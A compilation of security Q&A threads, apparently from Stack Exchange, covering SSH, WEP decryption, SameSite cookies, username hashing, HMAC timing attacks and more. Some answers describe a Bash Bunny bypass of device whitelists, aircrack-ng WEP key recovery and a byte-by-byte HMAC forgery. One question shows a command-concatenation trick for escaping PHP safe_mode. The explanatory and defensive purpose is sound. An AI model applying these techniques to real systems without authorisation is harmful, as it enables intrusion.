In Apache, this is commonly done using a combination of the mod_security and mod_evasive modules.

There are a number of good tutorials on how to set this up given your environment.


access to email addresses I am taking part in an online voting photo contest. In order to vote, you have to register using your email address.

Is it possible that people who run the site will be able to see my email address and to whom I have cast my vote?

While it is possible to store a hash of an email address similarly to how passwords are stored in a hashed form, the only case I can think of this being used is for accessing Gravatar images, and even then the the site itself does keep cleartext entries of email addresses in their databases.

Almost certainly, if somebody asks for your email address, they have stored it for later use of some kind.


Windows group policies to protect against Rubber Ducky attack I have these group policies set on my personal computer and it seems to me they should protect against Rubber Ducky attack (however I've read other threads that say it's hard to protect against, hence I'd like to verify):
1. Block all devices:

gpedit.msc -> Computer Configuration\Administrative
Templates\System\Device Installation\Device Installation Restrictions
-> Prevent installation of devices not described by other policy settings [enabled]

2. Whitelist only specific instances of devices you trust (doesn't enable entire device categories but specific devices by their instance ID):

gpedit.msc -> Computer Configuration\Administrative
Templates\System\Device Installation\Device Installation Restrictions
-> Allow installation of devices that match any of these device instance IDs [enabled]

Would these indeed suffice to protect against Rubber Ducky attack?

A complete whitelist of trusted devices should block Rubber Ducky specifically as I don't think it has a programmable device ID, but I'm not 100% sure.
However if the question is more generic, then no!
The more programmable Bash Bunny can do the same thing and it supports programming it's device ID. I've bypassed whitelist device lockdowns by using a Bash Bunny and setting it's ID to that of an approved keyboard. I even defeated a keyboard rate detector by programming delays into the Bash Bunny.


How does SSH use both RSA and Diffie-Hellman? SSH protocol 2 allows you to use DSA, ECDSA, ED25519 and RSA keys when establishing a secure connection to a server. (Keep in mind for this question that I'm only familiar with the procedure and capabilities of RSA, and can't speak for the other methods)

What confuses me, is according to man sshd, Diffie-Hellman is used for the key exchange:

  For protocol 2, forward security is provided through a Diffie-Hellman key agreement. This key agreement results in a shared session key. The rest of the session is encrypted using a symmetric cipher...

This leads to two questions:

Where does the RSA key come into play if it isn't used during the key exchange?
Why is a second protocol (in this case, Diffie-Hellman) required? Why not just use the client's RSA public key to encrypt the session key on the server, and send it to the client?

The host key is used to sign the Diffie-Hellman parameters. It is used during the key exchange; RSA is a signature algorithm as well as an encryption algorithm. From what I can tell, the client key (in authorized_keys) is not used in key exchange at all; it's only used after key exchange to sign a particular message and prove the client has the private key (one side of DH parameters being signed is enough to prevent a MITM, because the attacker can't impersonate both client and server; it's easier to make the server always have to have a keypair than make the client always have to have a keypair).
The way SSH uses DH is as an ephemeral algorithm: DH parameters are generated for individual sessions, and are destroyed as soon as they're no longer needed. The only thing the long-lasting keypair is used for is authentication. This gives forward secrecy: stealing the private key doesn't let you decrypt old sessions.

If RSA was used to encrypt the session key, then someone who recorded that session, buys the SSH server years later after it's been decommissioned, and obtains the private key off its hard drive can use that to decrypt the session key, and use that to read the entire communication. If RSA is used to sign DH parameters, then the only way to exploit a stolen private key is in a man-in-the-middle attack, and that can be foiled by the server operator changing the key and telling all his users about the changed keys. With ephemeral key exchange, nothing needed to decrypt a recorded session is stored any longer than it has to be.

This is also a configuration being used increasingly often for TLS sessions (there, where certificates have expiration dates, a private key doesn't even strictly have to be kept secret after its expiration because it shouldn't be possible to use it in a man-in-the-middle attack; it is, because users will ignore expired certificates, but you can see why ephemeral encryption is nice).


How can I decrypt traffic on a WEP encrypted network? Let's say that I am connected to a WEP Access Point and I want to sniff all wireless traffic inside that network. How can I decrypt the traffic even though I don't have the cryptographic key?

I found a link that shows how to decrypt live wireless traffic on WEP AP's.
http://www.netexpertise.eu/en/linux/crack-wep-key-and-decrypt-live-traffic.html

Edit Cont.: Ok there is extreme confusion. I will explain this once more.

I am connected on a WEP Access Point.
I know the WEP key to the wireless network (Hence, that is why I am connected).
I want to inspect the wireless traffic but it is encrypted.
I want the traffic to be decrypted.
I do not have the cryptographic key.

I don't know where all of the confusion is coming from so I'm going to ask this.

Is the cryptographic key the same as the key that I used to log in to my WEP AP? (xx:xx:xx:xx:xx)

WEP and WPA are different, so I will assume you are asking about WEP.  (Ask a separate question if you want to know about WPA.)

Wireshark should be able to decrypt WEP traffic if you have the cryptographic WEP key.  For instance, here are instructions for decrypting WEP and WPA traffic.

So all that is needed is a way to find the WEP key.  There are several ways to do it:

If you are connected to the WEP network, then your laptop must have the WEP key.  So all you need to do is extract it.  The way to do this will be OS-dependent, so if this is what you want to know, ask a separate question about how retrieve the WEP key for a wireless network you are connected to, and specify the OS.  (e.g., on Linux, iwconfig will show you the WEP key.)
If you are not connected to the WEP network, but want to find the WEP key anyway, there are tools to do this by eavesdropping on a bunch of traffic.  I recommend aircrack-ng (see this tutorial on aircrack-ng).  Here is a tutorial on using aircrack-ng with Backtrack to recover a WEP key.  Or, you could use the link you provided.

WARNING WARNING WARNING: Do not do this without authorization of the owner of the wireless network.  Hacking other people's wireless networks without their consent is highly illegal in most countries.  Don't do it!

Old information from the previous iteration of the question (you can ignore this):

For WEP, if you only have the password and not the cryptographic key, then you will need to recompute the crypto key from the password.  It is computed as a deterministic function, and if you Google for WEP key converter or WEP key calculator you should be able to find utilities that will do the conversion for you.  Or, you can just go to your access point's web configuration, and it will usually tell the WEP key (indeed, you could enter in a new passphrase and see the resulting WEP key).

For WPA, you may need to capture the traffic associated with the initial association between the client and the access point (if you just come in later and capture it after the client has already connected to the access point, you may not be able to decrypt).


Is FeliCa DES encryption safe? Sony FeliCa does not provide any official docs on which cryptographic functions are used for their NFC cards. They got some docs explaining that they do mutual authentication, but there is no official paper explaining what crypto with which parameters they use at all. It's unknown which random generators etc. are used as well and there is no code to check what they exactly do.

So I was wondering if someone knows what crypto they use? If there is maybe any code which includes their authentication I would like to have a look at it and check if these cards are really as safe as they say.

Update 1:

Maybe I should specify the question a bit more. It's public known that FeliCa uses DES and AES encryption, but no specification is given. So let's just discuss DES cards.

DES Cards:

Is 3DES used?:

ECB or CBC mode?
How do they calculate the keys for the first step of their mutual
authentication? Why is that necessary todo?
How do they generate a new challenge? Is it just some random?

Is maybe just DES-Encryption used?

Would that mean cards could be bruteforced?

Is FeliCa encryption safe? Yes, but also no.

Yes, insofar as there doesn't appear to be any published cryptanalysis attacks against the cryptography employed by FeliCa.

No, because it isn't an open standard. This makes it difficult for cryptographers from all over the world to review and audit the function. Instead, Sony is relying on a small pool of experts, increasing the likelihood of there being a vulnerability that undermines the security of the system.

Caveat: I am not an expert on the FeliCa system.


How can two-man control be implemented efficiently? Two-man control can be a strong defence, but the overhead is a concern, as discussed previously.

How can two-man control be implemented with minimal overhead?

I would be most interested in a concrete example: an online banking platform. The environment includes a load balancer, web servers, database servers, and a link to the core banking platform (which is out of scope).

If the two men collude then they will be able to perform malicious actions on the system. That is an inherent limitation with two-man control, and we should not attempt to solve it.

To avoid this question being too broad, lets only consider sys-admins - not developers, support agents, etc.

The key is to only implement two-man control for operations that really need it.

Routine tasks

Routine tasks, like deploying an application release, or applying security patches can be scripted. One sys-admin can create the script, but it cannot be run until a second sys-admin has reviewed and approved it. Common tasks like restarting the application server, or deploying the latest application release, can have a pre-approved script that is used repeatedly. Non-standard tasks will need a bespoke script.

To do this, there's a need for some kind of workflow management system. You may be able to use a ticketing system like Trac, build a bespoke system on something like JIRA, and configuration management tools like Puppet may have features that would help. The two sys-admins do NOT need to be physically local; they can work remotely.

The systems should be designed so that as much routine maintenance is automated as possible - scheduled log rotation, etc.

Diagnostics

Sys-admins can have read-only access to logs without two-man control, provided the logs mask sensitive information. They can also have a low-privilege account to view status pages, and run commands like top or ps. This allows a single sys-admin to diagnose issues - and they can work remotely. They may be able to do remediation by submitting a script as a routine task. However, in some cases that won't be possible, so there is a need for emergency access.

Emergency access

Sometimes there is a serious issue and you just need to SSH in as root. To maintain two-man control you need two people at this point. In practice, they need to be physically next to each other. A simple way to implement access control is to have an account for each pairing, where each sys-admin knows half the password. You could create a smarter system with a custom PAM module, perhaps even requiring a separate smart card from both sys-admins.

Once logged in, it is down to the sys-admins to maintain two-man control. They must inspect each others commands before issuing, and lock the terminal if one of them needs to step out.

The aim should be that emergency access is rarely needed.

Development environments

It is only necessary to use two-man control for the live environment. A lone sys-admin can have full access to a development environment - provided that live data is not present. They can try out a task in the development environment, perform some testing, iron out the bugs. Only when they have got a working script do they submit it to another sys-admin for approval.

Conclusion

If all this is done, I believe you can implement strong two-man control with about 25% overhead. Making it a success relies on various things (like automated maintenance) that are good practice anyway. If a system is so sensitive as to need two-man control, it is a good idea to get all the basics right as well!

I have never seen this implemented in a commercial or government environment. The closest I have seen was an online banking platform where most sys-admins did not routinely have root access. To performs a task, this would first be planned in detail, then approved on the change control system. To implement the change the sys-admin then got root access for a limited period. Also, there were a small number of senior sys-admins who had permanent root access, in case of emergencies. This arrangement is much better than I typically see - although it falls short of full two-man control.


What is SpeedSurfing? My Sophos antivirus detected what it calls "SpeedSurfing", and my Google-fu is failing me. The Chrome extension it deleted was Boomerang for Gmail.

The Boomerang extension interacts with the Gmail website making lots of HTTP requests. That behaviour is usually associated with malicious extensions which attempt to exploit advertisement networks by simulating user clicks.

Sophos seems to have invented a neologism and does not seem to explain it even in their own documentation. You may try opening a support ticket.


Tools to extract code comments from sites? I often come across sites that have way to many comments included in their source code, sometimes these comments offer valuable insight into whats happening in the code, the logic of functions, unused (but still present) 'features' and sometimes even vulnerabilties are documented in comments.

Given the wealth of information available I always take the time to review pages i find important, but in larger sites this becomes rather tedious to do.

Are there any available tools that will strip out (with a link back to the original page) all the comments found in the source code of a page?

I'm kinda thinking like the Notepad++ feature of 'Find text in files' which provides you with the line that matched and a path to the source.

Bonus points for ones that can parse comments in multiple languages (i see VB Script (and comments) included in pages sometimes)

Well, it's not really a tool, but it'll get you started. This RegEx matches many kinds of comments (# comments, HTML comments, JavaScript comments, and VBScript comments).

(<!--(.*?)-->)|(/\*([^*]|[\r\n]|(\*+([^*/]|[\r\n])))*\*+/)|(//.*)|(^'.*$)|(^#.*$)

And here's a demo

Note: Be sure to set the g and m flags

Update: I thought it'd be a good idea to mention some ways to use it.

You can use that RegEx with sed on httrack results. Another possibility is to pack this in a bash script where you pass the URL and catch it with $1 then wget/curl it and finally sed the page after prepending $1 to mark the file with the URL to the page.


Am I exposing my application to IP address forgery / ip spoofing? Here is my setup:
I will create two REST services that are run on Server B and should only be called from Server A. Both servers are on the same network and I am not able to configure a firewall to enforce this. There are several clients that share the same (internal) network the servers are on.
Because of this I will configure Server B to only allow incoming connections from Server A's IP address. (technical detail: this will perhaps be a Tomcat behind Apache httpd)

REST service 1 which is located on https://server_b/getValue?id=1234
will return the value that is stored for the id 1234.
REST service 2 which is located on
https://server_b/setValue?id=1234&value=foo will set a value of foo for id 1234

(remarks: I know this is not REST as they teach it in the books, this is just an example ;-) And no: unfortunately I will not be able to use basic authentication or the like)

What will happen now if someone spoofes the IP address and pretends to be Server A ? When calling REST service 1 nothing will be conveyed to the forger because the answer will be send to the "real" Server A.
Is this correct ?

Calling service 2 will be worse because the get method becomes effective immediately.
Is this assumption correct ?

I read information about IP spoofing, for example IP forgery (theories are fine) but was not able to answer my specific questions by using that information.

As you have said other, presumably untrusted, computers are on the same network, your concerns are justified. Any of the other machines on the same network could set their IP address to that of server_a and send a request to server_b.

I would suggest using client certificates and server certificates within your ssl configuration see https://www.scriptjunkie.us/2013/11/adding-easy-ssl-client-authentication-to-any-webapp/ for some started tips on why and how to use client certificates. Note some of the aforementioned article does not apply as you are authenticating servers not client to server.


Sending password from client app to server with Java I'm developing an application that requires a user to login. On the server side I'm using the PBKDF2 algorithm to hash passwords, but currently I'm sending passwords to the server as a plain text string. Now it is prone to sniffing, but I do not know how change it. What should I do to make this more secure?

Use TLS for the connection to the server.

The purpose of securely hashing a password is to make it more difficult to attack if the database is ever stolen. It is not designed to prevent sniffing the plaintext password. In order to securely communicate with the server over a hostile medium, you should be using TLS. This will prevent interception on the wire, while the server-side PBKDF2 will prevent the password from being trivially recovered from the contents of a stolen database.

You might be tempted to additionally hash it client-side. Unfortunately, that would not prevent an attacker from recording the hash being sent from the client and using it to log in later. TLS provides protection for a large number of threat models, and explicitly takes into account this issue. It will prevent an attacker from simply replaying whatever credentials you are using. The only scenario when client-side hashing would be beneficial is if the server is hostile but the server has no control over the code that the client executes, or if the server is too low-powered to perform a proper slow KDF and some heavy processing must be offloaded to the client. Either way, you should use TLS.


Let's Encrypt and EV certificates for different hosts in the same domain I have an e-commerce site host name (example.com) and want to install an Extended Validation TLS certificate for it.

But I use a cookieless static content served from another host name (static.example.com) for images of the website.

To be "Google Shopping friendly" and for secure e-commerce reasons, can I use Let's Encrypt or other domain-validated TLS certificates for static.example.com and EV certificates for example.com?

I have gone through this kind of question online but those were was similar to my situation.

It is possible to have multiple certificates from different vendors for different parts of the domain and even have overlapping certificates., i.e. multiple certificates which could be used to authenticate the same domain.

Browsers actually only care that a specific certificate is valid for the specific domain it is used on and don't care if the same certificate could also be used for other domains.  They also only care that all content is served over HTTPS (i.e. no mixed content) but don't care if some content is served with a EV certificate while other content is served with DV certificate only.

Apart from that, I recommend  to read Extended Validation Certificates are Dead to get a better opinion if EV certificates are worth their money at all.


How is an HTTPS login secure when pages use HTTP? When someone go to eBay's website, they use an unencrypted connection between their PC and eBay's server. If they sign in, they are redirected to a secure site identified by its certificate and may submit login credentials. After the user is logged in, they redirected again to the insecure connection.

I'm wondering... why does Ebay use this behavior? Why after the user is authenticated, how are they still using a secure connection between his PC and eBay server?

There is an oft-quoted result from Google stating that when they switched Gmail to site-wide SSL, they saw only a minor overhead which could be neglected. An important point, though, is that it is for Gmail which is not necessarily a typical Web application.

The CPU overhead for SSL is small. A basic PC CPU core can do AES encryption at more than 100 MB/s. The cryptography which happens during session establishment (the "handshake") can be done several hundred times per second with the same kind of core, and it does not occur often, thanks to both HTTP keep-alive and the SSL "abbreviated handshake". It makes sense that properly implemented SSL won't clog the server CPU for most kinds of Web sites.

Network overhead for a single connection is also slight. When in full swing, a SSL/TLS connection breaks data into individual records, with a header and some bytes for cryptographic support: 5 bytes for the header, 16 bytes for the per-record IV if using TLS 1.1+ and AES/CBC, 32 bytes for a SHA-256 HMAC, and 1 to 16 bytes of padding for alignment. At most 69 bytes. But the record can embed up to 16384 bytes worth of application data, so we are talking about a 0.4% extra bandwidth. Again, that's negligible.

However, there is a site-wide network overhead due to caching. When the same piece of data is to be downloaded by many distinct clients, it is worthwhile to uses caches, located between the main server and the clients: when one client connection, going through a cache, is for a file that the cache has, the cache can answer without having to disturb the main server. The client and server needs not be aware of that mechanism; that's called a transparent proxy. Many ISP run that kind of system.

Caches won't help much with Gmail, because each user has his own mailbox and there are few files which will be shared between distinct users. However, the situation with Ebay may be different, with all the item photos that they send, by definition, to a lot of clients. It is highly plausible that caching benefits much more Ebay's infrastructures than Gmail's. However, and that's the tricky point, SSL prevents most of this caching. By going site-wide SSL, Ebay could possibly incur a non-negligible impact, enough to give them reason to pause and think. I don't say that Ebay's not doing site-wide SSL is proven to be a question of cache-related performance, but at least it is a possible reason.

Of course, not doing SSL means that passive eavesdropping and active attacks are a possibility. From Ebay's point of view, there are trade-offs everywhere between security and usability. Ultimately, as @Lucas says, it is all about money.


Is there a 'key space' equivalent for encryption keys? If a key space is the term given to the collection of all possible decryption keys for a given cryptosystem, then what is the collection of all possible encryption keys called?

The key space is the set of all possible keys that you may choose for both encryption and decryption keys.
In the case of symmetric key algorithms, both encryption and decryption keys are the same. However, in asymmetric-key algorithms, with one key for encryption and another for decryption, we refer as the key space for both scenarios.
I hope that this explanaton will help you.


Preventing CSRF with SameSite="strict" without degrading user experience? ASP.NET will soon begin reflecting Google's decision to default cookies to SameSite="strict" in a defense against CSRF attacks:

https://devblogs.microsoft.com/aspnet/upcoming-samesite-cookie-changes-in-asp-net-and-asp-net-core/

This means that if I own foo.com, any logged-in users who are directed to foo.com from off-site will consume the content as if they are not logged in, as the browser will refuse to send the forms authentication headers with the request by default.

This is a poor user experience, and I'm tempted to simply specify SameSite="Lax" to ensure that users are not surprised by this behavior.

Is there any way to have my cake and eat it too, in this scenario?

Short answer: No, there's no way to have the benefit of Strict SameSite without the drawbacks of Strict SameSite. However, you can get most of the benefits (and fewer drawbacks) by using Lax SameSite.

I think you quite badly misread that article you linked. Google is not, and has no plans to, change the default SameSite behavior to Strict. All they are doing is changing the default to "Lax" and adding "None" as a new option to override this default. ASP.NET is making no changes except adding the None to the enum values.

The concern is that, if you send SameSite=None to a browser that doesn't yet know about this value, it will interpret it as SameSite=Strict because that's what the standard says to do when the value isn't recognized. Therefore, IF and ONLY IF you DON'T want to use SameSite at all, you will need to do user-agent sniffing to determine "this browser still defaults to no SameSite and will freak if I say SameSite=None" vs. "this browser defaults to lax SameSite and I need to tell it to not do that".

If you expect top-level navigation from other sites to yours, but do not expect to need cross-site authenticated requests other than top-level GET navigation, then you should already be setting SameSite=Lax, and this change (neither Google's change nor ASP.NET's change) has no impact on you.

If you are already using Lax SameSite, you literally don't need to do anything at all (I guess you could save a few bytes by sniffing new Chrome builds and not sending the now-redundant header, but it's probably not worth the effort).

If you actually want to use Strict SameSite, do it exactly the way you would today; nothing has changed there either.

As a final word of advice, bear in mind that there are still a lot of people using outdated browsers that don't support SameSite at all. It's potentially valuable as a defense-in-depth measure against CSRF, the same way CSP is a defense-in-depth against XSS, but you still need some other anti-CSRF mechanism for anybody on browsers that don't support SameSite, unless you block all such browsers from signing in at all.


Security implications of a fixed vs relative pathname What would be some security implications of a fixed pathname (although probably in a system directory when it would be deployed as a system service) rather than a relative (out of current directory)? If the answer is "it depends", how so?

In general: an absolute path name is more clear than a relative one. It is not open to interpretation based on the context like a relative path name is. The actual meaning of a relative name depends on the current directory, on environment variables (like PATH) etc, while an absolute path name most times means the same thing.
Therefore an absolute path name is almost always the more secure choice. Of course one is probably able to deliberately construct some scenario where the absolute path is the more insecure choice and likely there will be even such scenarios out there in the wild - developers are often creative in inventing their own approaches of how things should work and of ignoring established ones.
There is one scenario I could think of though, where a relative name can be less ambivalent: if chroot or similar things are used, then for example a symlink using an absolute path can result in a different target file inside and outside the chroot, while a symlink using a relative path might still point to the same file. And this difference might actually result in a security issue.


Revisting the Username Hash There are a few questions which ask for inputs on the wisdom of storing (possibly salted) username hashes for the purpose of authenticating end user access to some information resource.  Most of the answers I see are pretty down on the idea, but none of them address what seems to be a vulnerability this approach may mitigate.

The vulnerability I'm refering to is that or username / password reuse.  Many of the most recent database compromises resulted in the publication of plaintext usernames and associated passwords (if the developers didn't hash first) or password hashes (may or may not have been salted).

So my question is, will storing hashed usernames possibly salted with a site specific secret value (in addition to properly storing salted and hashed passwords), mitigate this vulnerability of username / password reuse?  Certainly this will not protect against a username / password pair reused from a previously compromised site.  The question refers mainly to the idea of protecting user information by not being the source of such a compromise.

Update:  There seem to be a number of questions about how this would be implemented.  This is a brief overview of the approach I took for the MySQL database I constructed.  It lacks all of the detail, and there may be some detail which I have inaccurately reconstructed (either for the sake of simplicity or unintended oversights):

User table with the following fields:

Table Name:  USERS

USER_IDENTIFIER:  GUID (doubles as salt value for password hash in this example)
  USERNAME_HASH:  HASH(username + site_salt)
  PASSWORD_HASH:  HASH(password + USER_IDENTIFIER)
       USER_KEY:  ENCRYPT(value: <system generated random number>,
                            key: HASH(USER_IDENTIFIER+username+password))

There can also be an unencrypted public name (as long as it's not the same as the username shouldn't be a problem).

A group table, for lack of a better name, with the following fields:

Table Name:  GROUPS

 GROUP_ID:  GUID
 OWNER_ID:  USER_IDENTIFIER of the user which owns the group
GROUP_KEY:  ENCRYPT(value:  <system generated random number>,
                      key:  <unencrypted USER_KEY for the owning user>)

A lookup table allowing a group owner to share the group key with other users as in:

Table Name: SHARED_GROUP_KEYS

  GROUP_ID:  GUID of the group being shared by the user that owns the group
   USER_ID:  GUID of the user gaining access to the goup with the GROUP_ID above
SHARED_KEY:  ENCRYPT(value:  Unencrypted GROUP_KEY for the group,
                       key:  Unencrypted USER_KEY for the gaining user)

Information in the database would then be shared within groups.  If you have been granted access to a group (by having a valid entry in the SHARED_GROUP_KEYS table for the group) you have the key to see content associated with that group.  Otherwise you don't.

In order to authenticate, a user provides only a username and password.

So back to the original question, which is focused only on the USERNAME_HASH field of the USER table, does it make sense, in order to prevent spillage of a user's username when a compromise occurs, to hash the username instead of storing it as plaintext?  In other words, as I mentioned in a comment below, is there any merit in changing the paradigm of treating the the username as public information, and instead treat it as another secret (for the purpose of authentication only)?  Does it help prevent my site from being the source of a user's credentials which in turn would allow unauthorized access to that user's information on another site?

In a typical system, there are several "usernames". There is the name that the user types to begin the login operation. Then there can be a "display name" (to be added to forum posts, automatic emails...), a contact email address, a billing name, a cardholder name... It makes relatively little sense to protect one of these names without dealing with the others, since they all contain, on average similar information (it may sound surprising, but, given the choice, many people will prefer to use their own true name for all these purposes).

The "login name", i.e. the username which the user types to begin the login operation, servers the following role: it allows the server to efficiently locate the user-specific data. The server may have thousands of users, in a large database, and it is inconvenient to scan all of them upon each login attempt; you want to quickly find the "user identifier" from which you can get the hashed password for that user.

Login names are not usually considered to be secret data (if they were secret data, we would call them "passwords"), if only because it is normal and expected that the login name is similar to the user's administrative identity. Nevertheless, if you want to somehow hide the list of login names, you must use a deterministic injection: that's a transform, such that given twice the same login name, you get the same output (that's determinism, it is required for the "find the user-specific data" part to work, and it must be understood server-wide), and two distinct login names will yield distinct output (the transform must be injective, or at least should not allow collisions to appear with a non-negligible probability). There are several solutions:

You can use a hash function such as SHA-256. You get worldwide determinism (that's the same SHA-256 for everybody) and almost-injection with high probability.
You can add a server-wide salt if you want to nullify any advantage an attacker may get from precomputations. The salt must still be the same for all login names on your server, because of determinism. The salt is equivalent to choosing your own, server-specific hash function. Note that an attacker who got the list of hashed login names will still be able to do a parallel attack on all the names (for each potential user name, the attacker hashes it -- with the server-wide salt -- and compares the result to all the hashed login names); thus, this specific salt does only a part of the job normally performed by a salt (but you cannot avoid it, because you need determinism).
You could make the salt secret; then, it is no longer a salt, but a key, and the hash function is no longer a hash function, but a Message Authentication Code (such as HMAC). This will do you any good only if the attacker can get access to the database but not to the key (so that's a restrictive attack model). Keys entail key management, something which is never simple, especially in the presence of multiple front-ends (they share the database, thus they must share the key -- and secrecy is not utterly compatible with sharing).

Remember that all of this is about a second-level defense: the model assumes that an illicit read access was achieved by the attacker (and that's already a big worry !). While such read accesses do occur in practice (that's why we hash passwords), we must not forget that this should not be the primary line of defense; on the other hand, every hash or encryption adds complexity, which is the well-known nemesis of security. So there is a trade-off, and the usual wisdom is to avoid complexity if it would serve only for secondary protection of data which is already semi-public anyway (i.e. the login name).

As for the details, the rough outline of the scheme you suggest would work (you are free to consider as "password" the concatenation of the login name and the password typed by the user, if you wish -- it will not make the scheme weaker). However, do yourself a favour: don't invent your own hashing. For the hash of the login name and of the password, rely on bcrypt or PBKDF2. Your user-specific key encrypted with the user password is really the result of a Key Derivation Function; there again, you'd better use a proper KDF like PBKDF2; you would just have to store the user-specific salt. Both the "hashed password" and the "encrypted user-specific key" can be used as the basis for a dictionary attack (aka "trying potential passwords"), so they must include the same level of protection (many iterations to make the processing slow, a salt to thwart parallelism).

I would still consider it a poor trade-off: much added complexity, for little extra security.


Timing attack against HMAC in authenticated encryption? In an answer to another question of mine, it was noted that a class using standard string comparison functions when checking the HMAC in authenticated encryption would make the class vulnerable to timing attacks against the HMAC.

I can't wrap my head around how this a timing attack against the HMAC of authenticated encryption be an issue?

First of all, the implementations should be considered known to the attacker (in this particular case the source is simply published), so the only thing secret would be the key. Following this line of reasoning, how would a constant-time comparison function in the implementation protect against anything? (I would expect the attacker to simply remove it, if he would even use the same code).

And second, if I would think about the implementation as a black-box, the comparison is against a HMAC of the data with a PBKDF2 derived key. Wouldn't trying a timing attack against the HMAC be a) just as slow as trying to brute-force a PBKDF2 protected password b) not really disclose any information helpful in any attempt to decrypt the data? (the HMAC even appended to the cipher text, available to everyone with access to the encrypted data).

So, what am I missing here, why are timing attacks in this scenario considered a risk that needs protecting against?

Quick update:
I understand how timing attacks work, but I do not understand what would be gained by employing a timing attack in a scenario where the decrypt function looks like:

/**
 * @param binary $data Where $data = salt, IV, encrypted data, HMAC(salt, IV, encrypted data)
 * @param string $password The decrypt-password
 * @return string|null plain text if data was successfully decrypted, null otherwise
 */
function decrypt($data, $password) {
    ...
}

It allows for the potential of an existential forgery.  An attacker can create a valid HMAC for a chosen message without knowing the HMAC key.

Basically, the way the attack works is this:

The attacker sends a message, and an HMAC (really just a sequences of bytes the same length as the HMAC) and times the response from the decryption system.
The attacker then sends the same message, and the same pseudo-HMAC repeatedly, with the exception that he now iterates though every (256) possible value for the first byte of the HMAC.
If the decryption system is returning an error immediately on finding a mismatch between bytes, one of these iterations (the one with the same first byte value as calculated by the decryption system) should take slightly longer to return.  If the attacker can can detect that difference, he now knows the correct first byte for the correct HMAC for the message given the decryption system's HMAC key.
The attacker sends the same message and HMAC, this time with the known correct first byte, iterating over the second byte, until again, he finds the byte that causes the decryption system to take slightly longer to respond with an error.  The attacker now knows the second byte of the correct HMAC.
Rinse and repeat for every successive byte in the HMAC, until a valid HMAC has been derived for the attacker's chosen message, sans key.

This is why HMAC comparison needs to be constant-time, comparing all the bytes of the submitted HMAC to the calculated HMAC before returning a response.  This way, no matter the position of any incorrect bytes, the time to error will always be equal.  The attacker no longer has a way to tell what or where the incorrect bytes are.

Update

In the specific scenario you present, the HMAC is providing you with integrity protection, or is the "authentication" piece of "authenticated encryption."  If it can be forged by an attacker, the ciphertext can be modified without your knowledge, and you no longer have authenticated encryption, but effectively unauthenticated encryption and are vulnerable to chosen ciphertext attacks.


Does WhatsApp's link preview on the link messages leak information? When we want to send a message that contains only a link - such as a question from the Stack Exchange network - WhatsApp displays information from the website as below:

Does this leak information about what was sent, and from who, and to whom?
We can assume that WhatsApp uses an internal browser and doesn't send information to itself. However, above already seems to be a leak since the user has already looked there before sharing.
What about a collaborative attack between Google and WhatsApp combined? WhatsApp sees the message sent and Google sees the site that has been looked up.
So, does above leak information?

WhatsApp client makes http GET request to the site sender types in, in order to fetch site's meta properties that show up in preview.
<meta property="og:title" content="Information Security Stack Exchange">
<meta property="og:description" content="Q&A by infosec enthusiasts">
<meta property="og:image" content="https://cdn.sstatic.net/Sites/security/Img/logo.svg?v=f9d04c44487b">
<meta property="og:url" content="https://security.stackexchange.com">

The http request is not protected by E2EE so it can be sniffed by MITM. If the requested site is not using https, the query string and site's meta content can also be seen by the observer. If the sender forgets to put space between the query string of the URL and the next immediate word after the query string, that word is leaked as being a part of query string.
https://security.stackexchange.com/questions/241076/does-whatsapps-link-preview-on-the-link-messages-leaks-informationSECRET ... text ... message ... contents ...

The SECRET will be queried to the requested site. WhatApp client also tries to query sites that does not exist as long as the typed word matches with the regex of URL. As for the requested site, it doesn't know who is requesting it and to whom the URL is being sent.
If Bob tricks Alice to type URL of the web service he controls, he will be able to learn her IP Address and probably her location too. To fix this, Signal uses proxy server for link previews.


Why is it a security risk to use Apple's receipt validation service directly from a device? If you watch this video at 52:05 he says,

"Never, never, never, ever send the receipt directly from your app on a device to the validation service."

He goes on to say,

"Its way too easy for someone to sit in the middle and return a false positive, and you'll also be exposing your shared secret"

Why can't someone sit in the middle of your own server and the service? And how could the shared secret be exposed if using SSL?

The thing is that you shouldn't perform the decision of allowing or disallowing access to content, on the device.

Eg, lets say you have a game, with purchaseable maps.
If you include all the maps with the game and directly communicate with the validation service, someone could simply set up a fake "apple validation server" and have the fake server always return "Purchased" for everything.
And this also means you need to embed the shared secret inside the app, thus it can be decompiled and the shared secret exposed.

However, lets say you now put your own server in the mix. Now, you instead make it so your app on device, contacts your server and ask for a map, sending the receipt as proof of purchase. Your server then uses "apples validation server" to ensure the receipt is genuine, and then returns the map.
If the validation fails, your server simply refuses to supply the map.
You understand now why its much harder to spoof or hack? The owner of the device cannot simply fake the response from your server, since they would need to have the map for that.

This also means the shared secret is stored on your server, and is used to authenticate requests from Apple's server. This is one of the reasons no MITM could put themselves there. Also MITMing a connection between your server and apple's server, is much much harder, than MITMing the connection between THEIR OWN DEVICE and apple's server. Its pretty obvious. Their own device could be just modified to accept the invalid certificates their MITM software generates.

Same here if you run some online game service with purchaseable "coins" or other in-game currency. Then your server will just receive the receipt from their device, and its your server's job to validate this receipt and then add the coins to the user's account.
But if you allow the device to itself validate the receipt and then tell your server "Hey, I purchased some coins and it validated ok with apple", then the device could obviously lie.

Yes, obviously, of course, a hacker could distribute your maps with their own form of fake server software as a form of piracy. Thats why you should implement as much as possible of any app or game logic on the server, and just make the client app as "dumb" as possible, just relaying user input to your server and receiving user output.

What you have failed to understand, is that SSL is not designed to protect any communication if any of the parties is dishonest. This is the same with people thinking that "webshops with SSL won't scam you because they are trusted".
SSL is only designed to protect communication between 2 honest parties, from any dishonest third-party. And if you run validation directly with apples service, one of the parties (user's device) is considered dishonest, and thus the whole security model will fail.


question for pentesters: PHP proc_open() in safe_mode Can anybody explain to me how proc_open() is affected when PHP is running in safe_mode?

As far as i have noticed, the command to execute is appended to a '/' - is there anything else and is it possible to bypass this modification? If i concatenate commands in the shell, i can bypass the forward slash:

[inserted by safe_mode '/'] command ; concatenated_command

this works in the shell, however, its not working when executed using proc_open in safe_mode (php 2.4.17).

Additionally, are there other techniques to bypass safe_mode in php 2.4.17?

thanks

I don't know.  However, if you control the application code, I would not recommend that you use proc_open() in your application if the attacker can control any aspect of the command, due to the risk of path traversal and command injecttion attacks.  I can't tell exactly what your situation is, but based upon your question, it sounds like this may apply to you.


Should I upgrade old volumes to new cryptsetup encryption mode? The old cryptsetup default is aes-cbc-essiv:sha256. The new one is aes-xts-plain64:sha256. I don't know that much about cryptography but I assume the standard was changed for a reason.
Also there can be found information like:

  [...] if your device is still encrypted with the previous (cryptsetup <1.6.0) default cipher --cipher aes-cbc-essiv, more information leakage may occur from trimmed sector observation than with the current default.

So should I upgrade my old encrypted volumes?

